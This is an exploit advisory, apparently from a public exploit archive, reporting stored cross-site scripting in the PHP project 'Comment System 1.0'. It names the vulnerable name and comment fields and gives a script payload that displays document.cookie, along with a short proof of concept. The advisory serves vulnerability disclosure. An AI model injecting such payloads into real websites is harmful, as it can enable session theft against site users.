Comment System 1.0 - 'multiple' Stored Cross-Site Scripting

# Exploit Title: Comment System 1.0 - 'multiple' Stored Cross-Site Scripting
# Date: 2021-02-18
# Exploit Author: Pintu Solanki
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14713/comment-system-phpmysqli-full-source-code.html
# Software: : Comment System 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


# Vulnerable Page: http://localhost/comment/index.php
# Vulnerable Input Field :

Your Name:  "><script>alert(document.cookie)</script>

Comment:    "><script>alert(document.cookie)</script>

# Payload used:

"><script>alert(document.cookie)</script>

# POC: Whenever we will go to the page (http://localhost/comment/index.php) where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.